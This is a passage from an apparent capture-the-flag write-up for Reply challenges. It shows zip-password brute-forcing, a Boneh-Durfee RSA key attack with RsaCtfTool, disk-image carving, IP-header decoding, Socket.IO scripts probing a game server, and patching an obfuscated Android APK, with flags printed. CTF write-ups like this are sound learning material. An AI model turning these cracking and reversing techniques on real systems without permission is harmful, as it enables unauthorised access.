'blue',
'hackmarco',
'hack',
'marco',
'nombnots',
'chunkamunk',
'monkey_butt',
'monkey',
'butt',
'screwball',
'screw',
'ball',
'troublemaker',
'trouble',
'maker',
'ddrussery',
'marselmannanov',
't2003cubs',
'mojdom',
'joechu',
'michadav',
'n96237d',
'barbyoropeza',
'shaneyreid91',
'assuero',
'pawol69087',
'cityve',
'mudraporko',
'lucumazu',
'nusavufi'
]
delimiters = ['', ' ', '-', '_', '.', ',']
for w in words:
for d in delimiters:
try:
with pyzipper.AESZipFile('rsa.zip') as f:
f.pwd = w.encode() + d.encode() + b'unitt'
print(f.pwd)
# print(f.infolist())
print(f.read('ciphertext.txt'))
except RuntimeError as e:
# print(e)
pass
But no combination we tried would successfully decrypt the zip file. Since this is a Reply crypto challenge with no source code, we tried reversing the password hashes we found in the sqlite file on CrackStation, and we hit a match on one.
sha256('alessio') = "8d0cfd6182ef851052565eb5c11e79f73c691307f7b6ddb877b4303cc726f260"
So we tried “alessiounitt” as the zip password and it worked.
Inside rsa.zip
we saw two files: ciphertext.txt
:
0x3fb45bf4009bde3dad01054910efab2f9052ae049d4d770cc0255f33aafbc6c2a51a3d987ff77dff27ba0ff0e0098fdaed44c0d140923c577105c4a79623483293ecf2dfa6cd1ead8a2bd3a748aa167c83d532dcdc15fa93705fd866b8c5e86e311840f0fe589326b1a2c49712e818be237951d1503129253c7a8c246db3af132
and an RSA public key.
Reading the keys, the first thing we noticed was that e
was big, this means that d
might be small.
So we tried to break the key with the Boneh-Durfee attack:
RsaCtfTool --publickey key.pub --dumpkey --private --attack boneh_durfee
and it worked!
d: 5752477793961718316974364565722959866214021715252358015981092755839491056537
p: 20659222008512759831277682223795162680334385991854286283853960400286241695014333963737657226297951042993329540999035446587802842157029340511729302434748273
q: 38676882448094023590775144095087527526209199110085295247166619083834674380076580348153808072855754145097868212826481975496548251654863618859218700354289311
And we easily got the flag with:
RsaCtfTool --publickey key.pub --uncipherfile enc --attack boneh_durfee
Misc (4/5)
Misc 100
The challenge comes with a disk image file and a password for some reason.
The mounted disk image is empty.
Since this is a misc challenge, I ran strings
on it. strings
returns gibberish and some interesting trash info:
[...]
[Trash Info]
Path=00033616.png
DeletionDate=2022-10-05T10:49:29
[Trash Info]
Path=myfile.zip
DeletionDate=2022-10-05T10:49:29
[...]
Since this is a misc challenge, I ran binwalk
on it. binwalk
sucks and returned nothing useful.
Knowing that I’m probably looking for a zip file (I need to use that password somehow), I just opened the image file in an hex editor and looked for PK
, the magic bytes for zip files. I found a small sequence of bytes that looked like a valid file.
I copied and pasted that sequence to a new file, and opened our brand new zip archive with the password in the description. The extracted file is a text file with the flag.
Misc 200
The challenge description gives a host and an UDP port.
Sending some requests and doing some tests show that:
- The service is an echo server: text sent to it is sent back in multiple datagrams, one per text character.
- The echo back is capped to 108 characters.
- Multiple requests start separate sequences of 108 datagrams.
Since this is a misc challenge, I looked at the challenge description for guessing inspiration. The title says “hIP hIP”, so it’s probably related to the IP header.
Using Wireshark, I found out that the IP Identification field in the echo datagrams is always set to one of 0x3fff
, 0x7fff
, 0xbfff
, 0xffff
, when it’s supposed to be random. I can tell that only the first 2 bits change, so it’s probably exfiltrating some data 2 bits at a time. 2 bits * 108 datagrams = 216 bits = 27 bytes for the flag probably.
I dumped 108 Identification fields from Wireshark to a text field, filtered out the first two bits in Python, and finally copy-pasted the result in a binary to text converter to get the flag.
Misc 300
The challenge is a game similar to Chrome’s dino game, where there are obstacles that you have to jump over or slide under.
It’s a simple HTML5 game, communicating to the server viaSocket.IO
.
We can see that within the main.js
file:
const socket = io({path:"/b7f91f2e6e12123b14fdfa9187ea53af00f281ac/socket.io"});
We then search where the game could send data to the server, as the flag was not in the client.
We found the following code that emit an event to the socket
:
socket.emit("action", {
px: action.x,
ox: action.ox,
speed: this.speed,
seed: seed,
step: this.step,
type: action.type
});
This corresponds to the traffic intercepted with Burp Suite (or inside the “Network” tab in the Devtools):
42["action",{"px":20.17500000000004,"ox":108.35000000000493,"speed":3.9999999999999787,"seed":2.2930437633190137,"step":0,"type":"J"}]
The server replies with:
42["actionresponse","A"]
Uhm, actionresponse
is never mentioned in the code, so the game never processes it. Let’s try playing some more.
After playing a little bit, we noticed that sometimes the server replied with actionresponse: 0
and actionresponse: 1
.
We guessed that a bit may have been transmitted with each command.
Let’s write a simple script that allow us to send commands without playing the game:
#!/usr/bin/env python3
import socketio
sio = socketio.Client()
aaa = ""
@sio.on("*")
def catch_all(event, data):
global aaa
aaa += data
@sio.event
def connect():
print("I'm connected!")
@sio.event
def disconnect():
print("I'm disconnected!")
sio.connect(
"http://gamebox1.reply.it/",
socketio_path="b7f91f2e6e12123b14fdfa9187ea53af00f281ac/socket.io",
)
print("my sid is", sio.sid)
flag = ""
for x in range(1000):
sio.emit(
"action",
{
"px": 18.76000000000007,
"ox": 138.82000000000716,
"speed": 5.6499999999999435,
"seed": 0.6468621828291544,
"step": x,
"type": "J",
},
)
Now we can obtain strings that looked like these:
011AAA110AAAA11AAAA01AAAA100AAAA00AAAA10AAAA110AAA111AAAA10AAAA10AAAA101AAAA01AAAA10AAAA011AAA110AAAA01AAAA10AAAA111AAAA01AAAA10AAAA011AAA101AAAA11AAAA10AAAA101AAAA00AAAA11AAAA010AAA100AAAA01AAAA00AAAA011AAAA01AAAA11AAAA110AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA1A1AAA0A0AAA1AA1AAAAA0AAA0A1AAA0A1AAA0AA1AAA0A0AAA1A0AAA0AA0AAAAA1AAA1A0AAA1A0AAA0AA0AAA1A0AAA0A0AAA1AA1AA0AA1AAA1A0AAA1A0AAA0AA0AAA1A0AAA1A0AAA1AA1AA0AA0AAA1A0AAA0A1AAA1AA0AAA0A0AAA0A1AAA1AAAAA0AA1AAA1A1AAA1A0AAA1AA1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
We noticed that the numbers matched between the strings and they stopped appearing after a while, so this could be our flag.
How does a flag start? With {FLG:
, which converted to binary is 0111101101000110010011000100011100111010
Some bits match! Looking good so far.
After that, we tried to bruteforce it, generating random speed values until we found a valid bit:
#!/usr/bin/env python3
import random
import socketio
sio = socketio.Client()
@sio.event
def connect():
print("I'm connected!")
@sio.event
def disconnect():
print("I'm disconnected!")
@sio.on("actionresponse")
def on_message(data):
global bit
bit = data
sio.connect(
"http://gamebox1.reply.it/",
socketio_path="b7f91f2e6e12123b14fdfa9187ea53af00f281ac/socket.io",
)
flag = ""
bit = "A"
for x in range(224):
while bit == "A":
sio.call(
"action",
{
"px": 18.76000000000007,
"ox": 138.82000000000716,
"speed": random.random() * 10,
"seed": random.random() * 2 * 3.14,
"step": x,
"type": random.choice(["J", "C"]),
},
)
flag += bit
bit = "A"
print(flag)
After waiting for it to complete, we got the following binary string:
01111011010001100100110001000111001110100110110101111001010100010111010100110100011001000111001101000010011101010111001001101110010001110110100101101101011011010011001100110100010000100111001001100101001101000110101101111101
And after converting it, we got the flag:
{FLG:myQu4dsBurnGimm34Bre4k}
Misc 500
We were provided with an APK, so the first thing we did was to install it on a phone or emulator, just to try it out.
We can see that two levels are locked. Let’s play first level.
Uh oh, the level seems broken. Let’s open JaDX to find out where the error is.
First, we open AndroidManifest.xml
to see where the launcher activity is.
<application>
<activity android:name="com.example.misc500adventure.A" android:exported="false"/>
<activity android:name="com.example.misc500adventure.C" android:exported="false"/>
<activity android:name="com.example.misc500adventure.D" android:exported="false"/>
<activity android:name="com.example.misc500adventure.E" android:exported="false"/>
<activity android:name="com.example.misc500adventure.F" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
We can see that com.example.misc500adventure.F
is the launcher activity. There are two buttons, one opens the level selection screen and the other the about screen.
com.example.misc500adventure.D
public final void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_b);
this.f1859o = (Button) findViewById(R.id.button1);
this.f1860p = (Button) findViewById(R.id.button2);
this.f1861q = (Button) findViewById(R.id.button3);
try {
t(); // <--
} catch (IOException e2) {
e2.printStackTrace();
}
this.f1859o.setOnClickListener(this);
this.f1860p.setOnClickListener(this);
this.f1861q.setOnClickListener(this);
try {
s(); // <--
} catch (IOException | NoSuchAlgorithmException e3) {
e3.printStackTrace();
}
}
t()
and s()
seem important. Let’s check them.
public final void t() {
InputStream openRawResource = getResources().openRawResource(R.raw.level01);
try {
FileOutputStream fileOutputStream = new FileOutputStream(getDir("LevelDir", 0).getAbsolutePath() + "/Level01.jar");
byte[] bArr = new byte[1024];
while (true) {
int read = openRawResource.read(bArr);
if (read <= 0) {
break;
}
fileOutputStream.write(bArr, 0, read);
}
fileOutputStream.close();
openRawResource.close();
openRawResource = getResources().openRawResource(R.raw.liblevel01);
try {
FileOutputStream fileOutputStream2 = new FileOutputStream(getDir("LevelSO", 0).getAbsolutePath() + "/liblevel01.so");
byte[] bArr2 = new byte[1024];
while (true) {
int read2 = openRawResource.read(bArr2);
if (read2 <= 0) {
fileOutputStream2.close();
return;
}
fileOutputStream2.write(bArr2, 0, read2);
}
} finally {
}
} finally {
}
}
This code simply copies the resources under res/raw/level01.jar
to /data/data/com.example.misc500adventure/app_LevelDir/Level01.jar
and res/raw/liblevel01.so
to /data/data/com.example.misc500adventure/app_LevelSO/liblevel01.so
.
public final void s() {
Button button;
String str;
getApplicationContext().getSharedPreferences("LevelCompleted", 0);
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
for (int i2 = 1; i2 <= 3; i2++) {
File[] listFiles = new File(getDir("LevelDir", 0).getAbsolutePath()).listFiles(new a(i2));
if (listFiles.length > 0 && listFiles[0].exists()) {
if (i2 == 1) {
this.f1859o.setEnabled(true);
button = this.f1859o;
str = "Play Level 1";
} else if (i2 == 2) {
FileInputStream fileInputStream = new FileInputStream(listFiles[0]);
byte[] bArr = new byte[1024];
while (true) {
int read = fileInputStream.read(bArr);
if (read == -1) {
break;
}
messageDigest.update(bArr, 0, read);
}
fileInputStream.close();
byte[] digest = messageDigest.digest();
StringBuilder sb = new StringBuilder();
for (byte b3 : digest) {
sb.append(Integer.toString((b3 & 255) + 256, 16).substring(1));
}
if (sb.toString().equals("6b68c21e6979ccb643bb1490584a148e")) {
this.f1860p.setEnabled(true);
button = this.f1860p;
str = "Play Level 2";
} else {
button = this.f1860p;
str = "Checksum Verification Failed";
}
} else if (i2 == 3) {
this.f1861q.setEnabled(true);
button = this.f1861q;
str = "Play Level 3";
}
button.setText(str);
}
}
}
public class a implements FilenameFilter {
/* renamed from: a reason: collision with root package name */
public final /* synthetic */ int f1862a;
public a(int i2) {
this.f1862a = i2;
}
@Override // java.io.FilenameFilter
public final boolean accept(File file, String str) {
StringBuilder g2 = androidx.activity.result.a.g("Level0");
g2.append(this.f1862a);
return str.startsWith(g2.toString());
}
}
This piece of code lists the files under /data/data/com.example.misc500adventure/app_LevelDir/
. Then, it iterates from 1
to 3
and filters the files by new a(i2)
. Basically, if a file that starts with Level0 + i
exists, it will enable the button.
So we need to rename /data/data/com.example.misc500adventure/app_LevelDir/Level01.jar
to /data/data/com.example.misc500adventure/app_LevelDir/Level01.apk
(using root
Still inside com.example.misc500adventure.D
we can find the onClick
method:
public void onClick(View view) {
Intent intent;
String str;
switch (view.getId()) {
case R.id.button1 /* 2131230822 */:
intent = new Intent(view.getContext(), C.class);
str = "Level01";
break;
case R.id.button2 /* 2131230823 */:
intent = new Intent(view.getContext(), C.class);
str = "Level02";
break;
case R.id.button3 /* 2131230824 */:
intent = new Intent(view.getContext(), C.class);
str = "Level03";
break;
default:
return;
}
intent.putExtra("LevelNumber", str);
view.getContext().startActivity(intent);
}
When you click a button, it will start the new activity C
with an extra LevelNumber
based on the button you clicked.
Let’s dive into com.example.misc500adventure.C
:
Oh no, there are no strings! Most probably they obfuscated this class.
public String f1853o = e.r(-40074581078310L);
public String f1855q = e.r(-40078876045606L);
public String f1856r = e.r(-40065991143718L);
public String f1857s = e.r(-40070286111014L);
Based on our experience, we can quickly tell that it’s obfuscated with Paranoid, but it can be easily deobfuscated with paranoid-deobfuscator. We can get a deobfuscated APK with this tool.
The strings were:
b''
b''
b''
b'ab396cd2b1d8a7d4fb5c1e137224004a0261976d'
b'gameStory'
b''
b''
b''
b'response'
b'endpoint'
b'SUCCEDED:'
b'LevelCompleted'
b'Status'
b'Return to main menu'
b''
b'Level03'
b'Level02'
b'Level01'
b'SecretEnding.zip'
b'Level03.apk'
b''
b'Level02.apk'
b''
b'DEAD:'
b'Common Error'
b'Settings'
b'http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/'
b'LevelNumber'
b'com.example.'
b'.'
b'returnFirstOption'
b'returnSecondOption'
b'returnThirdOption'
b'returnFourthOption'
b'returnQuestImage'
b'returnStory'
b'LevelDir'
b'LevelDir'
b'/'
b'.apk'
b'drawable'
b'Level03'
b'The level seems to be broken... How pity! Maybe you should try to fix it.'
The gamebox URL, ab396cd2b1d8a7d4fb5c1e137224004a0261976d
and SecretEnding.zip
seems promising. We’ve also found The level seems to be broken... How pity! Maybe you should try to fix it.
, the error message we got in the beginning.
Now with the deobfuscated APK we can work better.
public final void onCreate(Bundle bundle) {
TextView textView;
long j2;
super.onCreate(bundle);
setContentView(R.layout.activity_a);
Context applicationContext = getApplicationContext();
e.r(-39988681732390L);
applicationContext.getSharedPreferences("Settings", 0);
e.r(-39889897484582L);
this.f1855q = "http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/";
this.f1856r = this.f1855q + this.f1857s;
this.t = (ImageView) findViewById(R.id.imageViewStory);
this.f1858u = (TextView) findViewById(R.id.textView);
Intent intent = getIntent();
e.r(-39627904479526L);
this.f1853o = intent.getStringExtra("LevelNumber");
StringBuilder sb = new StringBuilder();
e.r(-40641516761382L);
sb.append("com.example.");
sb.append(this.f1853o.toLowerCase(Locale.ROOT));
e.r(-40559912382758L);
sb.append(".");
sb.append(this.f1853o);
String sb2 = sb.toString();
e.r(-40551322448166L);
e.r(-40508372775206L);
e.r(-40452538200358L);
e.r(-40375228789030L);
e.r(-40336574083366L);
e.r(-40254969704742L);
e.r(-40169070358822L);
File dir = getDir("LevelDir", 0);
StringBuilder sb3 = new StringBuilder();
e.r(-41169797738790L);
sb3.append(getDir("LevelDir", 0).getAbsolutePath());
e.r(-41225632313638L);
sb3.append("/");
sb3.append(this.f1853o);
e.r(-41217042379046L);
sb3.append(".apk");
String sb4 = sb3.toString();
if (!new File(sb4).exists()) {
String str = this.f1853o;
e.r(-41156912836902L);
if (str.equals("Level03")) {
textView = this.f1858u;
j2 = -41053833621798L;
} else {
textView = this.f1858u;
j2 = -40774660747558L;
}
e.r(j2);
textView.setText("The level seems to be broken... How pity! Maybe you should try to fix it.");
return;
}
try {
Class<?> loadClass = new DexClassLoader(sb4, dir.getAbsolutePath(), null, ClassLoader.getSystemClassLoader().getParent()).loadClass(sb2);
this.f1854p = loadClass;
Object newInstance = loadClass.newInstance();
Button button = (Button) findViewById(R.id.button1);
button.setText((String) this.f1854p.getMethod("returnFirstOption", new Class[0]).invoke(newInstance, new Object[0]));
Button button2 = (Button) findViewById(R.id.button2);
button2.setText((String) this.f1854p.getMethod("returnSecondOption", new Class[0]).invoke(newInstance, new Object[0]));
Button button3 = (Button) findViewById(R.id.button3);
button3.setText((String) this.f1854p.getMethod("returnThirdOption", new Class[0]).invoke(newInstance, new Object[0]));
Button button4 = (Button) findViewById(R.id.button4);
button4.setText((String) this.f1854p.getMethod("returnFourthOption", new Class[0]).invoke(newInstance, new Object[0]));
Context context = this.t.getContext();
Resources resources = context.getResources();
e.r(-41101078262054L);
int identifier = resources.getIdentifier((String) this.f1854p.getMethod("returnQuestImage", new Class[0]).invoke(newInstance, new Object[0]), "drawable", context.getPackageName());
this.v = identifier;
this.t.setImageResource(identifier);
((TextView) findViewById(R.id.textView)).setText((String) this.f1854p.getMethod("returnStory", new Class[0]).invoke(newInstance, new Object[0]));
button.setOnClickListener(this);
button2.setOnClickListener(this);
button3.setOnClickListener(this);
button4.setOnClickListener(this);
} catch (ClassNotFoundException | IllegalAccessException | IllegalArgumentException | InstantiationException | NoSuchMethodException | InvocationTargetException e2) {
e2.printStackTrace();
}
}
Inside this onCreate
, the app will load the level apk by building the correct path like this getDir("LevelDir", 0).getAbsolutePath() + / + LevelNumber_intent_extra + .apk
and its class like this com.example. + LevelNumber_intent_extra.toLowerCase() + . + LevelNumber_intent_extra
(for example: Level01 become com.example.level01.Level01
), using DexClassLoader
.
Here’s Level01
as an example:
public class Level01 {
public String returnQuestImage() {
return "dungeongate";
}
public String returnFirstOption() {
return "Try going through the dark corridor";
}
public String returnSecondOption() {
return "Try lighting one of the torch";
}
public String returnThirdOption() {
return "Try throwing an object across the corridor!";
}
public String returnFourthOption() {
return "Go back to home...";
}
public String returnStory() {
return "As soon as you enter the dungeon you find yourself with a long dark corridor in front of you.... There is little light.";
}
public String gameStory(String str) {
return "{\"Level\":\"Level01\",\"Choise\":\"" + str + "\"}";
}
}
returnQuestImage
is the image, then there are the four options for the buttons, the story and gameStory
is the JSON that the app will send to the server.
public void onClick(View view) {
Context context;
long j2;
if (view.getId() == R.id.button4) {
view.getContext().startActivity(new Intent(view.getContext(), D.class));
return;
}
try {
Object newInstance = this.f1854p.newInstance();
Class<?> cls = this.f1854p;
e.r(-41521985057062L);
Method method = cls.getMethod("gameStory", String.class);
Object[] objArr = {((Button) findViewById(view.getId())).getText()};
b bVar = new b();
bVar.execute(this.f1856r, (String) method.invoke(newInstance, objArr));
e.r(-41547754860838L);
JSONObject jSONObject = new JSONObject(bVar.get());
e.r(-41569229697318L);
e.r(-41573524664614L);
e.r(-41560639762726L);
String string = jSONObject.getString("response");
e.r(-41461855514918L);
String string2 = jSONObject.getString("endpoint");
this.f1858u.setText(string);
e.r(-41380251136294L);
if (!string.startsWith("SUCCEDED:")) {
e.r(-42033086165286L);
if (string.startsWith("DEAD:")) {
this.t.setImageResource(R.drawable.hastygrave);
return;
} else {
this.t.setImageResource(this.v);
return;
}
}
this.t.setImageResource(R.drawable.biceps);
Context applicationContext = getApplicationContext();
e.r(-41406020940070L);
SharedPreferences.Editor edit = applicationContext.getSharedPreferences("LevelCompleted", 0).edit();
StringBuilder sb = new StringBuilder();
sb.append(this.f1853o);
e.r(-41350186365222L);
sb.append("Status");
edit.putBoolean(sb.toString(), true);
edit.apply();
e.r(-41242812182822L);
((Button) findViewById(R.id.button4)).setText("Return to main menu");
a aVar = new a();
e.r(-42290784203046L);
String str = this.f1853o;
char c = 65535;
switch (str.hashCode()) {
case 1734436965:
e.r(-42295079170342L);
if (str.equals("Level01")) {
c = 0;
break;
}
break;
case 1734436966:
e.r(-42329438908710L);
if (str.equals("Level02")) {
c = 1;
break;
}
break;
case 1734436967:
e.r(-42226359693606L);
if (str.equals("Level03")) {
c = 2;
break;
}
break;
}
if (c == 0) {
e.r(-42260719431974L);
aVar.execute(this.f1855q + string2, "Level02.apk", e.r(-42174820086054L));
} else if (c == 1) {
e.r(-42161935184166L);
aVar.execute(this.f1855q + string2, "Level03.apk", e.r(-42076035838246L));
} else if (c != 2) {
} else {
e.r(-42080330805542L);
aVar.execute(this.f1855q + string2, "SecretEnding.zip", getApplicationInfo().dataDir);
}
} catch (IllegalAccessException | InstantiationException | InterruptedException | NoSuchMethodException | ExecutionException | JSONException unused) {
context = view.getContext();
j2 = -42041676099878L;
e.r(j2);
Toast.makeText(context, "Common Error", 1).show();
} catch (InvocationTargetException unused2) {
context = view.getContext();
j2 = -41960071721254L;
e.r(j2);
Toast.makeText(context, "Common Error", 1).show();
}
}
When you click a button, it will send a JSON POST request to http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/ab396cd2b1d8a7d4fb5c1e137224004a0261976d
with the gameStory
String returned from the loaded level APK.
Let’s use this simple script to try the Level01
answers.
import requests
def send(level, choise):
r = requests.post(
"http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/ab396cd2b1d8a7d4fb5c1e137224004a0261976d",
json={"Level": level, "Choise": choise},
)
return r.json()
print(send("Level01", "Try going through the dark corridor"))
print(send("Level01", "Try lighting one of the torch"))
print(send("Level01", "Try throwing an object across the corridor!"))
{'endpoint': 'none', 'response': "DEAD: The floor opened up, leaving you to fall into a pit of spikes that skewered you, that's very much a cliché isn't it?"}
{'endpoint': 'none', 'response': 'You ligh torch... Seems pretty normal'}
{'endpoint': '738cdd7ae1318b812d3fd6b758e75752fc88e8d6', 'response': 'SUCCEDED: The floor has opened, giving you a glimpse of a deep pit; however, it appears that a door on the right has just opened.'}
We got a valid response with the last one!
Let’s try with http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/738cdd7ae1318b812d3fd6b758e75752fc88e8d6
. It’s another APK, probably Level02, let’s open it with JaDX.
public class Level02 {
MyAsyncTasks asyncTasks = new MyAsyncTasks();
public String returnQuestImage() {
return "gargoyle";
}
public String returnFirstOption() {
return "Take courage and fight it!";
}
public String returnSecondOption() {
return "Try offering him flowers!";
}
public String returnThirdOption() {
return "Try to make friend with him!";
}
public String returnFourthOption() {
return "Go back to home...";
}
public String returnStory() {
return "A monstrous gargoyle is standing in your way! How lucky you are!";
}
public String gameStory(String choise) throws JSONException {
Log.d("TODO", "Bob I think you forgot to add the real answer. It should be the name of the weapon, I don't remember which one you chose, when you're done return it from <backend>/getWeapon");
return new JSONObject().put("Level", "Level02").put("Choise", choise).toString();
}
}
There is a TODO that says that the answer is not in here. Let’s try with http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/getWeapon
. It downloads a file name halberd.png
. Could this be the real answer?
import requests
def send(level, choise):
r = requests.post(
"http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/ab396cd2b1d8a7d4fb5c1e137224004a0261976d",
json={"Level": level, "Choise": choise},
)
return r.json()
print(send("Level02", "halberd"))
{'endpoint': 'bf850ea44b0542ff96645c9d0e4160127d1996de', 'response': "SUCCEDED: Wait! How did you get here? Well, great! I'm downloading the level 3 files for you..."}
Yes, it is! Let’s go further. Another APK, same thing.
public class Level03 {
public native String testAES();
public String returnQuestImage() {
return "brutalhelm";
}
public String returnFirstOption() {
return "Fight him to death!";
}
public String returnSecondOption() {
return "Throw the repaired weapon at him!";
}
public String returnThirdOption() {
return "Run away!";
}
public String returnFourthOption() {
return "Go back to home...";
}
public String returnStory() {
return "My god! This is the final boss! (Yes this game is quite short...) Make your choice hero!";
}
public String gameStory(String choise) throws JSONException {
if (!choise.equals("")) {
try {
Log.d("TODO", "Bob I think you forgot to add the path to the native library!");
System.load("TODO");
String value = testAES();
System.out.println(value);
JSONObject put = new JSONObject().put("Level", "LevelEnding");
return put.put("Choise", value + "_CorrectAnswer!").toString();
} catch (Exception | UnsatisfiedLinkError e) {
e.printStackTrace();
return new JSONObject().put("Level", "Level03").put("Choise", choise).toString();
}
}
return new JSONObject().put("Level", "Level03").put("Choise", "My god! This is the final boss! (Yes this game is quite short...) Make your choice hero!").toString();
}
}
This time there is also a native testAES()
, so there is probably a native lib inside this APK. We found liblevel03.so
.
Let’s try running it like this. Nope, it doesn’t work. Why? Because of this:
System.load("TODO");
You need to call System.load()
with an absolute path poiting to a native library.
Let’s patch the APK using Apktool
. First, we decode it using:
apktool d -p . -r level03.apk
Then, we search for “TODO”:
grep -R TODO level03
level03/smali_classes4/com/example/level03/Level03.smali: const-string v0, "TODO"
Lastly, edit level03/smali_classes4/com/example/level03/Level03.smali
from this:
.line 43
invoke-static {v0}, Ljava/lang/System;->load(Ljava/lang/String;)V
to this:
.line 43
const-string v0, "/data/data/com.example.misc500adventure/app_LevelSO/liblevel03.so"
invoke-static {v0}, Ljava/lang/System;->load(Ljava/lang/String;)V
Let’s copy the patched APK and the .so
library and run the app.
Let’s check the logcat using adb logcat
:
D TODO : Bob I think you forgot to add the path to the native library!
D MyLib : ThisIs_MagicBook
D MyLib : ޏs�1�&���lr�ThisIs_MagicBook
D MyLib :
D MyLib : CBC decrypt:
D MyLib : Avada KedavraThisIs_MagicBook
I System.out: Avada Kedavra
Here it is, our decrypted answer. Let’s send it to the server.
import requests
def send(level, choise):
r = requests.post(
"http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/ab396cd2b1d8a7d4fb5c1e137224004a0261976d",
json={"Level": level, "Choise": choise},
)
return r.json()
print(send("LevelEnding", "Avada Kedavra_CorrectAnswer!"))
Finally, we got the flag.
{'endpoint': 'None', 'response': '{FLG:wh4t_a_h4ppY_3nd1ng_dud3!}'}
Let us know what you think of this article on twitter @towerofhanoi or leave a comment below!